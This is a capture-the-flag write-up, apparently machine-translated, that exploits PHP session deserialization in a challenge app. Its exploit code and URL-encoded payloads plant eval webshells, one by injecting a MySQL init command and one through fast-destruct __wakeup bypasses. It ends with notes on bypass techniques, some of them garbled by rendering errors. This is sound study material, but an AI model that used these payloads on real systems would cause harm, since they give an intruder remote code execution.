CTFshow Limited Time Red Envelope Challenge 9 Detailed Answers

CTFshow red envelope challenge 9

The source code of the question is open source. The source code is as follows:

common.php

<?php

class user{
    
    
    public $id;
    public $username;
    private $password;

    public function __toString(){
    
    
        return $this->username;
    }


}

class cookie_helper{
    
    
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
    
    
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
    
    
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
    
    
        $data = explode('|',$cookie);
        if (count($data) != 2) {
    
    
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}


class mysql_helper{
    
    
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct(){
    
    
        $this->init();
    }

    public function __wakeup(){
    
    
        $this->init();
    }


    private function init(){
    
    
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****',//敏感信息打码
            'password' => '****',//敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo(){
    
    
        try{
    
    
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        }catch(PDOException $e){
    
    
            die('数据库连接失败:' . $e->getMessage());
        }
    
        return $pdo;
    }

}

class application{
    
    
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug=false;

    public function __construct(){
    
    
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("log.txt");
    }

    public function register($username,$password){
    
    
        $this->loger->user_register($username,$password);
        $pdo = $this->mysql;
        $sql = "insert into user(username,password) values(?,?)";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        return $pdo->lastInsertId() > 0;
    }

    public function login($username,$password){
    
    
        $this->loger->user_login($username,$password);
        $sql = "select id,username,password from user where username = ? and password = ?";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        $ret = $stmt->fetch();
        return $ret['password']===$password;

    }
    public function getLoginName($name){
    
    
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
    
    
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

    public function logout(){
    
    
        $this->loger->user_logout();
        setCookie("user",NULL);
    }

    private function log_last_user(){
    
    
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
    }
    public function __destruct(){
    
    
       if($this->debug){
    
    
            $this->log_last_user();
       }
    }

}

class userLogger{
    
    

    public $username;
    private $password;
    private $filename;

    public function __construct(){
    
    
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename){
    
    
        $this->filename = $filename;
    }

    public function __wakeup(){
    
    
        $this->filename = "log.txt";
    }
    public function user_register($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_login($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_logout(){
    
    
        $data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function __destruct(){
    
    
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
        
    }
}
class dispatcher{
    
    

    public function sendMessage($msg){
    
    
        echo "<script>alert('$msg');window.history.back();</script>";
    }
    public function redirect($route){
    
    

        switch($route){
    
    
            case 'login':
                header("location:index.php?action=login");
                break;
            case 'register':
                header("location:index.php?action=register");
                break;
            default:
                header("location:index.php?action=main");
                break;
        }
    }
}

index.php

<?php

error_reporting(0);
session_start();
require_once 'common.php';

$action = $_GET['action'];
$app = new application();

if(isset($action)){
    
    

    switch ($action) {
    
    
        case 'do_login':
            $ret = $app->login($_POST['username'],$_POST['password']);
            if($ret){
    
    
                $app->cookie->setcookie("user",$_POST['username']);
                $app->dispatcher->redirect('main');
            }else{
    
    
                echo "登录失败";
            }
            break;
        case 'logout':
            $app->logout();
            $app->dispatcher->redirect('main');
            break;    
        case 'do_register':
            $ret = $app->register($_POST['username'],$_POST['password']);
            if($ret){
    
    
                $app->dispatcher->sendMessage("注册成功,请登陆");
            }else{
    
    
                echo "注册失败";
            }
            break;
        default:
            include './templates/main.php';
            break;
    }
}else{
    
    
    $app->dispatcher->redirect('main');
}

main.php

<?php

$name =  $app->getLoginName('user');

if($name){
    
    
    echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
    
    
    include 'login.html';
}

Let’s go through all the code first.

There is a file writing operation in common.phpthe file userLoggerclass. If we can deserialize and change the class attributes, we can write to the file getshell, which is beautiful.

image-20230823221524514

This question is divided into two steps, one is deserialization and the other is getshell.


1. Deserialization

The question should be enabled PDO扩展(mysql_helper class in common.php) to connect to the database.

The question source code has many classes and no deserialization function unserialize(), but the session (index.php) is enabled, and application::getLoginName()there are session operations in the method (common.php). Session deserialization can be performed here .

image-20230823204636856

1. When the object is stored in the session, it will be serialized automatically and the serialized string will be stored.
2. When the object is retrieved from the session, it will be deserialized automatically and the magic method of the object will be executed.

session_decode() Decode the serialized session data in the parameter and fill the $_SESSION super global variable with the decoded data.

The statement session_decode($_GET['token']);stores the object in the session.
The statement $data = $_SESSION['user'];retrieves the object from the session and retrieves userthe object named.

Therefore, if the session deserialization conditions are met, if we submit the token parameter type of GET user|恶意序列化字符串, we can deserialize the string getshell.

The first step of deserialization:

First we need to call the method that triggers the session statement application::getLoginName($name). This method is only main.phpcalled in. Simply look at the code and ask us to submit GET which actionis not equal to do_login, logout, and do_register.

image-20230823213303037

Then we GET pass parameters:

?action=hahaha

The second step of deserialization:

Then there is contentment $data === NULL. Looking back, $data = $this->cookie->getCookie($name);. Backtrack a bit and cookie_helper::getCookie($name)the method returns cookie_helper::verify($_COOKIE[$name]). See below

image-20230823210241790

The variables passed into verifythe method $cookieare divided $_COOKIE[$name]by characters |. As long as the number after division is not equal to 2, nullthe conditions for session deserialization will be returned.

There will be an intact user name in the above variable $cookie. We only need to bring one user name |. For example , there will be two Jay|17variables (originally one), which will be separated into three after the function, so that Return , we can deserialize the session.$cookie|explode()null

The third step of deserialization:

Register an account with a username Jay|17and get the user cookie. Cookies must be brought when sending out packages for subsequent operations. Then log in (do_login).

image-20230823214045348

Cookie:user=Jay%7C17%7Cfbbfa886adac2c1901e6d47c8700a15b

Verify whether session deserialization is successful:

We simply construct a serialized string and change the username into a one-sentence Trojan to see if the modification can be successful.

<?php

class userLogger{
    
    
    public $username="<?php eval(\$_POST[1]);?>";
    private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

payload: (remember to bring cookies)

GET:/index.php?action=hahaha&token=user|O%3A10%3A%22userLogger%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A20%3A%22%00userLogger%00password%22%3Bs%3A6%3A%22123456%22%3B%7D

POST:username=Jay%7C17&password=123456

When accessing the log file log.txt, remember to bring the cookie. I found that the deserialization was successful and the username was successfully modified by me.

image-20230823214905842


二、getshell

Method 1: Use ** PDO::MYSQL_ATTR_INIT_COMMAND**

PHP Chinese Manual->PDO_MYSQL predefined constants. A predefined constant called was queried PDO::MYSQL_ATTR_INIT_COMMAND.

Its description translates to: the command (SQL statement) executed when connecting to the MySQL server. Will be automatically re-executed upon reconnection. Note that this constant can only be used in the driver_options array when constructing a new database handle.

image-20230823234709117

Then we assign a malicious SQL statement to this predefined constant, and the malicious SQL can be automatically executed when connecting.select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

Start implementing.

To connect to the database, you have to execute mysql_helper::get_pdo()the method.

image-20230824000018339

Since to deserialize, ?action=hahahathe execution mysql_helper::get_pdo()method must execute application::log_last_user()the method, then it must $debug = true;.

image-20230824002220879

Construct a serialized string:

<?php
session_start();
class mysql_helper
{
    
    
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>'  into outfile '/var/www/html/1.php';"
    );
}
class application
{
    
    
    public $mysql;
    public $debug = true;

    public function __construct()
    {
    
    
        $this->mysql = new mysql_helper();
    }
}

$a = new application();
echo urlencode(serialize($a));

O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D

payload: (remember to bring cookies)

GET:/index.php?action=hahaha&token=user|O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D

POST:username=Jay%7C17&password=123456

image-20230824002944605

After accessing 1.php, you can see phpinfo, indicating that the writing is successful and executed, and getshell starts.

image-20230824003022253

image-20230824003057559

Method 2: Bypassweakup

However, the log file log.txtwill not be parsed even if the Trojan is written to it. We need to modify the written file. However, __wakeup()the magic method limits the path for writing files, and we have to find a way to bypass it weakup.

image-20230823215151296

fast-destructBypass is used here weakup. (Essentially a GC recycling mechanism)

Idea:

1. fast-destructTrigger first application::__destruct(), and finally call mysql_helper::get_pdo()the method

2. Set the attributes mysql_helperof the class $dbto empty, causing mysql_helper::get_pdo()the method to fail to connect to the database, execute die()the function, and end the life cycle of all objects (mainly ending userLogger and GC recycling), resulting in early execution of userLogger::__destruct()writing to the file.

exp:

<?php
class mysql_helper{
    
    
    private $db;
}
class application{
    
    
    public $debug=true;
    public $loger;
    public $mysql;
    public function __construct(){
    
    
        $this->loger = new userLogger();
        $this->mysql = new mysql_helper();
    }
}
class userLogger{
    
    

    public $username='<?php eval($_POST[1]);phpinfo();?>';
    public $password="123456";
    public $filename="2.php";
}
$a = new application();
echo serialize($a);

payload:

GET:/index.php?action=hahaha&token=user|【替换点】

POST:username=Jay%7C17&password=123456

[Replacement point] (Remember URL encoding) (Tried them all, integrated notes at the end, masters, don’t be busy taking notes now)

//一、去掉一个花括号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"2.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;}

//二、去掉外部类分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"3.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N}}

//三、内外部类加一个分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"4.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;};}

//四、属性键长度不匹配(后面的s:16:改成s:17:)
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"5.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:17:" mysql_helper db";N;}}

image-20230824024601485

image-20230824024715193


After finishing the work, I compiled a bypassed wakeupmind map and notes:

image-20230824024755107

variable reference

This is actually not a language feature vulnerability, but a code logic vulnerability. Only occurs under certain code conditions

KaTeX parse error: Expected 'EOF', got '&' at position 3: x=&̲ a makes both variables point to the same memory address at the same time

Utilize:
KaTeX parse error: Expected 'EOF', got '&' at position 10: jay17->b=&̲ jay17->a;
For details, please refer to ** NSS [UUCTF 2022 Freshman Competition] ez_unser, personal trainer web57

C bypass

C can be used instead of O to bypass wakeup, but in that case only the construct() function or destruct() function can be executed, and nothing can be added. Just bypass wakeup.

O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
—>
C:4:“User”:2:{}

C Bypass-Advanced// Fool's Cup 3rd [easy_php]

__unserialize() magic method

Requirements: PHP 7.4.0+

If both magic methods __unserialize()and are defined in the class , only the method will take effect and the method will be ignored.__wakeup()__unserialize()__wakeup()

The number of attributes of the object is inconsistent

CVE-2016-7124

Version: PHP5 < 5.6.25, PHP7 < 7.0.10

Bypass method:
1. When the number of attribute values ​​in the serialized string is greater than the number of attributes, a deserialization exception will occur, thus skipping __wakeup().
For example: O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";} will have the number of variables 2 ( s :3: "age"; represents the name of the first variable, i:20; represents the value of the first variable, so objects like this appear in pairs, and several pairs have several variables) modified to 3 can be
str_replace(':1:', ':2:',$a);

Principle:
After deserialization,
due to the mismatch in the number of attribute values, it is treated as garbage collection by PHP. (Essentially it is GC recycling mechanism)
----------------------------------------------- --------------------------
Further exploration, if it is changed to a package class, it is a class attribute or a class.

//Normal payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:" end";s:1:"1";}
//The number of inner class attributes is inconsistent, only the __destruct() of the outer class is triggered
O:1:"A":2:{s:4:"info";O: 1:"B":2:{s:3:"end";N;}s:3:"end";s:1:"1";} //The number of external class attributes is inconsistent, first the
external class __destruct () Inner class after
__wakeup() O:1:"A":3:{s:4:"info";O:1:"B":1:{s:3:"end";N;} s:3:“end”;s:1:“1”;}

Principle:
Deserialization starts from the inside, not the outside. In layman's terms, the attribute in class A is class B. Deserialization first deserializes class B and then deserializes class A.
The number of inner class attributes is inconsistent, and the inner class is directly treated as garbage collection, so the __wakeup() of the inner class is not triggered, only the __destruct() of the outer class is triggered.
The number of external class attributes is inconsistent. The external class is directly treated as garbage collection, and the external class __destruct() is triggered first. If the internal class is normal, the internal class __wakeup() is triggered normally.

This sounds like fast-destruct , but it is the same thing. In fact, it is essentially PHP's GC recycling mechanism.

fast-destruct

Essentially, it uses the GC recycling mechanism.

There are two methods, delete the curly braces at the end, and the array object occupies the pointer (change the number)

$a = new a();
a r r y = a r r a y ( arry = array( arry=array(a,“1234”);
r e s u l t = s e r i a l i z e ( result = serialize( result=serialize(arry);echo $result.“
”;

//Normal payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4: "1234";}
//Delete the final curly brace payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";} i:1;s:4:“1234”;
//The array object occupies the pointer payload (the array subscript in bold and the previous repetition are both 0, causing problems with the pointer)
a:2:{i:0;O:1 :"a":1:{s:1:"a";s:3:"123";}i: 0 ;s:4:"1234";}

The rest of the GC recycling mechanism is used

Also called php issue#9618

Version conditions:

  • 7.4.x -7.4.30
  • 8.0.x

-------------------------------------------------- --------------------
**Lengths of attribute keys do not match:

**
//Normal payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s :1:"1";}
//External class attribute key length abnormal payload:
// First outer class __destruct() and then inner class __wakeup()
O:1:"A":2:{s:4:" info";O:1:"B":1:{s:3:"end";N;}s: 6 :"Aend";s:1:"1";}
-------- -------------------------------------------------- ------------
The length of the attribute value does not match:

//Normal payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s :1:"1";}
//External class attribute value length exception payload:
// First outer class __destruct() and then inner class __wakeup()
O:1:"A":2:{s:4:" info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s: 2:"1";} O:1:" A "
: 2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“ 12 ” ; }

-------------------------------------------------- --------------------
Remove the semicolon of the inner class:
Note:

  1. In this way, the inner class is recycled directly, and the outer class is fine. You can directly not execute the wakeup of the inner class.
  2. The same goes for removing the semicolon in external classes.
  3. If the curly braces of the inner and outer classes are close to each other, you can also add a semicolon between the two curly braces to bypass the inner class wakeup.

//Normal payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N**;**}s :3:"end";s:1:"1";}
//Payload with the semicolon of the inner class removed
O:1:"A":2:{s:4:"info";O:1: "B":1:{s:3:"end";N}s:3:"end";s:2:"1";}

Note: The prerequisite for use is that the data before the semicolon cannot be payload, otherwise the payload will not be recognized and will be discarded. If it is some irrelevant data, it can be discarded casually.

Summary of GC recycling mechanism

In essence, the number of attributes of the above objects is greater than the real value, fast-destruct, and the rest of the GC recycling mechanism use the same thing and the same principle.

If you want not to execute wakup, you must destroy the structure of the class with the wakup magic method. You can delete the semicolon or make the number of attributes inconsistent .

In a chain where a destruct exists and the malicious method is in the destruct situation, wakup is completely ineffective. Not only can it be bypassed, it may not even be executed.

Bypass weakupreference article:

original

official wp

CTfshow Juanwangbei easy unserialize (Special details)_Jay 17’s blog-CSDN blog

PHP's GC garbage collection mechanism - Jianshu (jianshu.com)

PHP deserialization bypasses wakeup – View of Thai

Summary of wakeup() bypass in PHP deserialization – fushulingのblog

Bypass __wakeup, first execute the external class & a thought on the eval problem of Tianyi Cup_Je3Z's Blog-CSDN Blog

Guess you like

Origin blog.csdn.net/Jayjay___/article/details/132463916